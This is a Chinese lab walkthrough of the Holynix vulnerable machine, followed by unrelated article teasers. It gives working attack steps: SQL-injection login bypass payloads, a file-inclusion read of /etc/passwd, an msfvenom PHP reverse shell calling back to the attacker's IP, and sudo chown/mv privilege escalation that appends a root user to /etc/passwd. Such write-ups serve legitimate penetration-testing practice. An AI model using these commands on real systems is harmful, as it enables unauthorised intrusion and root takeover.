Holynix

信息收集阶段

存活主机探测:arp-scan -l

当然了,正常来说我们不应该使用arp进行探测,arp探测的是arp的缓存表,我们应该利用nmap进行探测!

nmap -sT --min-rate 10000 192.168.182.0/24

端口探测

nmap -sT --min-rate 10000 -p- 192.168.182.132Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-09 10:42 CST
Nmap scan report for 192.168.182.132
Host is up (0.0017s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT   STATE SERVICE
80/tcp open  http
MAC Address: 00:0C:29:BC:05:DE (VMware)Nmap done: 1 IP address (1 host up) scanned in 2.74 seconds

只开放了80端口??

避免出现遗漏,做了UDP的端口扫描:

nmap -sU --top-ports 20 192.168.182.132 PORT      STATE         SERVICE
53/udp    closed        domain
67/udp    closed        dhcps
68/udp    closed        dhcpc
69/udp    closed        tftp
123/udp   closed        ntp
135/udp   closed        msrpc
137/udp   closed        netbios-ns
138/udp   open|filtered netbios-dgm
139/udp   closed        netbios-ssn
161/udp   closed        snmp
162/udp   open|filtered snmptrap
445/udp   closed        microsoft-ds
500/udp   open|filtered isakmp
514/udp   open|filtered syslog
520/udp   open|filtered route
631/udp   open|filtered ipp
1434/udp  open|filtered ms-sql-m
1900/udp  open|filtered upnp
4500/udp  closed        nat-t-ike
49152/udp open|filtered unknown
MAC Address: 00:0C:29:BC:05:DE (VMware)

版本服务信息探测

nmap -sT -sV -sC -O -p80 192.168.182.132Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-09 10:43 CST
Nmap scan report for 192.168.182.132
Host is up (0.00040s latency).PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch)
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch
MAC Address: 00:0C:29:BC:05:DE (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|specialized|WAP|router|phone|switch
Running (JUST GUESSING): Linux 2.6.X|4.X (98%), Kronos embedded (92%), ipTIME embedded (92%), Linksys embedded (92%), Suga embedded (92%), Google Android 4.0.X (91%), Extreme Networks ExtremeXOS 15.X (91%)
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:4.4 cpe:/h:iptime:pro_54g cpe:/h:linksys:rv042 cpe:/h:linksys:wrv54g cpe:/o:google:android:4.0.4 cpe:/o:extremenetworks:extremexos:15.3
Aggressive OS guesses: Linux 2.6.24 - 2.6.25 (98%), Linux 2.6.35 (95%), Linux 2.6.22 (SPARC) (95%), Linux 2.6.18 - 2.6.24 (93%), Linux 2.6.9 - 2.6.33 (93%), Linux 4.4 (92%), Kronos InTouch timeclock (92%), ipTIME PRO 54G WAP (92%), Linux 2.6.18 - 2.6.32 (92%), Linksys RV042 router (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop

80端口上开启的是apache服务,然后存在PHP版本是5.2.4 目标靶机可能是一台ubuntu

漏洞脚本探测

nmap -sT --script=vuln -p80 192.168.182.132

渗透测试

既然只有一个端口的话,那就直接去访问一下把

        Na...工厂产品服务器,然后下面提示我们必须登录来查看受限制的内容!

        旁边有两个链接,分别是主页和登录的界面!

        首先在这里我便尝试了弱口令进行登录,发现登录不成功!

        有提示信息!给到了系统管理员的邮箱地址!感觉前面的名称就是系统管理员的名称吧?不妨再试试他的用户名加上弱口令?无果!

直接上bp抓包进行测试:

突然发现了url地址上面的参数!测一波文件包含!

可以文件包含,但是读不到/etc/passwd

回到sql注入上把,首先测试了user_name上并没有sql注入!password呢?

        出现了报错!存在sql注入了!

直接上sqlmap吧:

        一键化:

python sqlmap.py -r 1.txt --dbs -dump -batch

同时还发现了几个路径!

先看看这几个文件是否能够访问到吧:

显示内容被限制了,应该是我们登陆进去才可以访问!这里在访问messageboard.php的时候,通过文件包含访问到了如下的信息:

最下面还存在一个提交的地方:

不知道能不能上传文件!尝试一下!

能写,但是并没有被解析!其他的页面都是content restricted!

还是尝试进行登录!本来上面登录错误的时候我们就看到了system administrator!想用这个账号进行登录的,但是没登陆成功!(后面有测试了下这个system administrator账号 可以登录 但是没有上传的权限!)尝试其他的账号 这里利用第一个账号便成功登陆进来了!

可以看到有很多的链接!一眼看上去就是去看看upload是否能够上传文件!

看看能不能上传!

home目录还不让这个用户上传~

看看别的东西,在目录上面发现了整个公司员工的个人信息:

这些个人信息或许在后面的渗透过程中,会起到作用,但是我还是想上传,尝试下其他的用户能不能上传吧先!

发现第二个用户便可以上传文件,有权限了!问题又来了 文件上传之后的路径没有~

回去看看信息收集的路径吧,除了icons目录下面存在东西之外其他的都看不到!发现标题说的是家目录上传!

http://192.168.182.132/~username/

找到了文件上传的路径,但是他执行不了~ 第一次遇见执行不了的文件~

前面上传的时候可以自动提取压缩包里面的文件,构造压缩包:

tar -zcvf info.tar.gz info.php

直接上传压缩包!

这里直接利用msfvenom生成反弹shell的木马,进行上传!

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.182.130 lport=4444 -f raw > shel1.php

之后尝试利用tar进行压缩!

本地起监听:之后访问这个shel1.php文件,但是发现执行就断开了。。。

不知道这是为啥!/usr/share/webshells下面也有反弹shell的脚本,尝试拿出来在试试:

现在重新进行打包上传!

本地起一个监听:

利用curl触发反弹shell:

curl http://192.168.182.132/~etenenbaum/php-reverse-shell.php

成功拿到了shell!

提权

利用dpkg判断是否存在python!尝试建立一个交互性良好的shell环境!

dpkg -l | grep python 

存在python!

python -c "import pty;pty.spawn('/bin/bash')"

尝试看一下当前用户可以执行哪些特权:

发现存在四个命令,在使用的时候,可以以root身份进行运行并且不需要密码!(chown chgrp tar mv!)

首先来了解一下chown!这里我google了chown提权!这个命令确实能够实现提权!!!

chown命令

chown是linux环境下用于设置文件所有者和文件关联组的命令,当以root权限运行chown的时候,有多种
可能性可以实现提权!

示例

用户可以通过sudo运行chown,且没有任何的参数!

运行下面的命令可以修改/etc/passwd文件的所有者为test用户,然后通过修改该文件进行提权:遮盖题目为例题进行演示:

#首先我们通过sudo -l 查看当前用户的权限,发现该用户能够以root身份执行chown 并且不需要密码
#当前用户是www-data
sudo chown www-data /etc/passwd

之后我们随便找一个密码(superman),利用openssl对其进行加密:

openssl passwd superman

$1$EE4AME6s$PZ6zdt2sH8avDIkaB.cjv0

然后在/etc/passwd文件中添加一个具有root权限的新用户(比如说是root2),并使用上面生成的加密密码!

echo 'root2:$1$EE4AME6s$PZ6zdt2sH8avDIkaB.cjv0:0:0:root:/root:/bin/sh' >> /etc/passwd

查看是否存在追加成功!

追加成功,尝试使用root2的身份登录:

su root2 

        提权成功!参考链接:Linux提权系列 - chown - 掘金

【补充】

        看了红队笔记的视频后,发现自己遗漏了很多的东西,虽然这个靶场打通了~

sql注入突破

        完全没必要上sqlmap,而且在练习的过程中,尽量不要使用大型的一键化的工具!

既然我们知道了存在sql注入,那么就可以使用万能账号和万能密码进行登录:

因为sql注入的点在密码字段所以用户名任意
密码是' or 1=1-- 

直接登陆成功!用户是:

alamo!!!

        然后就是文件包含,因为上面我也知道存在文件包含,但是一直没读到什么有价值的东西,突破点错了:

        display file:显示文件! 查看源码:

        发现确实下面都是文件!!!尝试修改为/etc/passwd

        然后再次点击display file,可以看到参数是text_file_name,之后我们就可以直接将这个参数写在url里面!如:http://x.x.x.x/xxxxxx&text_file_name=/etc/passwd

成功读取到/etc/passwd文件 ,发现了很多的用户信息!读取shadow文件不成功!之后便是到了文件上传的地方,一开始使用alamo这个账号是没有上传的权限,就是根据这里的passwd文件中的各个用户信息!我们尝试换一个账号进行登录:

select * from accounts where username='' and password=''

既然我们已经知道了sql的查询语句,因此我们尝试用户名就是xxx,随便写,后面的password给一个' or username='etenenbaum'--

select * from accounts where username='xxx' and password='' or username='etenenbaum'-- '

成功登陆上来!之后我们发现利用upload.php文件进行上传。后面交给transfer.php文件进行处理,那么我们便可以通过文件包含的形式来读取transfer.php文件的源码!

知道了他是利用tar进行文件的解压,那么我们便可以给他上传一个利用tar压缩的压缩包(里面就是反弹shell的文件 !)

之后还利用到了locate查找文件!(查找符合条件的文件,他会去保存文件和目录名称的数据库内,查找符合文档样式的文件)

还有一个点就是越权!利用bp抓到的数据包在cookie字段存在uid=1,这里修改uid=2 就可以实现越权!

提权

然后就是提权的过程,跟我的方法也是不一样,用到了mv!mv 文件1 文件2 这种方式可以将文件1 重命名为文件2

那么他就是利用mv /bin/su /bin/tar 因为tar执行的时候是以root身份执行的并且是不需要密码的,所以说将su重命名为了 tar 执行tar 实际上执行的是su

首先将tar备份一下!然后我们将/bin/sh 重命名为/bin/tar !利用sudo tar 执行tar!实际执行的是/bin/sh

也可以是/bin/su 重命名为/bin/tar!(sudo tar)

直接输入su 就是切换到root用户,然而执行这个命令,又不需要root的密码,因此就成功的实现了提权操作!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/209363.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Navicat 技术指引 | 适用于 GaussDB 分布式的调试器

Navicat Premium(16.3.3 Windows 版或以上)正式支持 GaussDB 分布式数据库。GaussDB 分布式模式更适合对系统可用性和数据处理能力要求较高的场景。Navicat 工具不仅提供可视化数据查看和编辑功能,还提供强大的高阶功能(如模型、结…

golang学习笔记——数据结构进阶

文章目录 数据结构进阶mapmap示例sliceinterfaceembedded 数据结构进阶 map map 读取某个值时 - 返回结果可以为 value,bool 或者 value。注意后者,在key不存在时,会返回value对应类型的默认值map 的 range 方法需要注意 - key,value 或者 key。注意后…

【数据结构】单调栈与单调队列算法总结

单调栈 知识概览 单调栈最常见的应用是找到每一个数离它最近的且比它小的数。单调栈考虑的方式和双指针类似,都是先想一下暴力做法是什么,然后再挖掘一些性质如单调性,最终可以把目光集中在比较少的状态中,从而达到降低时间复杂…

业务设计原则

《亿级流量网站架构核心技术》读书笔记 一、防重设计 防重是通过在尽可能前端的位置阻挡请求重复执行,从而防止影响业务。它主要运用于“重复发生会造成业务影响”的场景。 请求本身可以发生多次,需要定义何为同一条业务数据。 分成业务本身允许多次和…

JS中call()、apply()、bind()改变this指向的原理

大家如果想了解改变this指向的方法,大家可以阅读本人的这篇改变this指向的六种方法 大家有没有想过这三种方法是如何改变this指向的?我们可以自己写吗? 答案是:可以自己写的 让我为大家介绍一下吧! 1.call()方法的原理…

Python 语言在 Web 开发上有哪些应用框架?

Python 是一门多用途的编程语言,其简洁、易读且强大的特性使其成为Web开发领域的一种热门选择。Python Web开发框架提供了丰富的工具和功能,使得开发者能够更高效地构建各种规模和类型的Web应用。以下是一些在Python Web开发中常用的框架,每个…

[mysql]linux安装mysql5.7

之前安装的时候遇到了很多问题,浪费了一些时间。整理出这份教程,照着做基本一遍过。 这是安装包: 链接:https://pan.baidu.com/s/1gBuQBjA4R5qRYZKPKN3uXw?pwd1nuz 1.下载安装包,上传到linux。我这里就放到downloads目录下面…

WaitGroup原理分析

背景 在实际业务开发中,我们会遇到以下场景:请求数据库,批量获取1000条数据记录后,处理数据 为了减少因一次批量获取的数据太多,导致的数据库延时增加,我们可以把一次请求拆分成多次请求,并发去…

C#-快速剖析文件和流,并使用

目录 一、概述 二、文件系统 1、检查驱动器信息 2、Path 3、文件和文件夹 三、流 1、FileStream 2、StreamWriter与StreamReader 3、BinaryWriter与BinaryReader 一、概述 文件,具有永久存储及特定顺序的字节组成的一个有序、具有名称的集合; …

大模型的全方位评估

摘要: 评估通过提供一种跟踪进度、理解模型以及记录其能力和偏差的方法,为基础大模型提供了背景。基础大模型挑战了机器学习中标准评估范式实现这些目标的能力,因为它们距离特定任务只有一步之遥。为了设想适合基础模型的评估新范式&#xff…

枚举 LeetCode2048. 下一个更大的数值平衡数

如果整数 x 满足:对于每个数位 d ,这个数位 恰好 在 x 中出现 d 次。那么整数 x 就是一个 数值平衡数 。 给你一个整数 n ,请你返回 严格大于 n 的 最小数值平衡数 。 如果n的位数是k,n它的下一个大的平衡数一定不会超过 k1个k1…

图论——最小生成树

图论——最小生成树 A wise man changes his mind, a fool never will 生成树 一个连通图的生成树是一个极小的连通子图,它包含图中全部的n个顶点,但只有构成一棵树的n-1条边。 最小生成树 在这些边中选择N-1条出来,连接所有的N个点。这N-1…

Java后端的登录、注册接口是怎么实现的

目录 Java后端的登录、注册接口是怎么实现的 Java后端的登录接口是怎么实现的 Java后端的注册接口怎么实现? 如何防止SQL注入攻击? Java后端的登录、注册接口是怎么实现的 Java后端的登录接口是怎么实现的 Java后端的登录接口的实现方式有很多种&a…

使用git出现的问题

保证 首先保证自己的git已经下载 其次保证自己的gitee账号已经安装并且已经生成ssh公钥 保证自己要push的代码在要上传的文件夹内并且配置文件等都在父文件夹(也就是文件没有套着文件) 问题 1 $ git push origin master gitgitee.com: Permission de…

近似同态加密的 IND/SIM-CPA+ 安全性:对于 CKKS 实际有效的攻击

参考文献: [LM21] Li B, Micciancio D. On the security of homomorphic encryption on approximate numbers[C]//Advances in Cryptology–EUROCRYPT 2021: 40th Annual International Conference on the Theory and Applications of Cryptographic Techniques, Z…

【Linux】命令expect使用详解

🦄 个人主页——🎐个人主页 🎐✨🍁 🪁🍁🪁🍁🪁🍁🪁🍁 感谢点赞和关注 ,每天进步一点点!加油!&…

【上海大学数字逻辑实验报告】五、记忆元件测试

一、实验目的 掌握R-S触发器、D触发器和JK触发器的工作原理及其相互转换。学会用74LS00芯片构成钟控RS触发器。学会用74LS112实现D触发器学会在Quartus II上用D触发器实现JK触发器。 二、实验原理 基本R-S触发器是直接复位-置位的触发器,它是构成各种功能的触发器…

AI文档助手,当下热门的AI文档助手【2024】

在当今信息爆炸的时代,文档创作的需求愈发庞大。为了满足用户对高效、准确、原创性文档的需求,人工智能技术的应用日益广泛。本文将专心分享AI文档助手领域的热门推荐。 AI文档助手的背景与应用 AI文档助手作为人工智能技术在文档创作领域的一大应用&am…

nginx配置自建SSL证书

文章目录 前言配置SSL证书SSL证书放在 Nginx 而不放在应用服务器上的好处Nginx只能转发http协议吗Nginx转发TCP协议会收到端口限制吗Nginx本身能将Websocket数据转化成TCP数据吗总结 前言 之前的一篇文章《自建CA并生成自签名SSL证书》中讲到为什么要自建CA和自签名SSL证书&am…

velocity-engine-core是什么?Velocity模板引擎的使用

velocity-engine-core是什么?Velocity模板引擎的使用 1. 常见的模板引擎2. Velocity 的语法3.Velocity的使用 相信在日常开发中或多或少都听过或者使用过模板引擎,比如熟知的freemarker, thymeleaf等。而模板引擎就是为了实现View和Data分离而产生的。 而…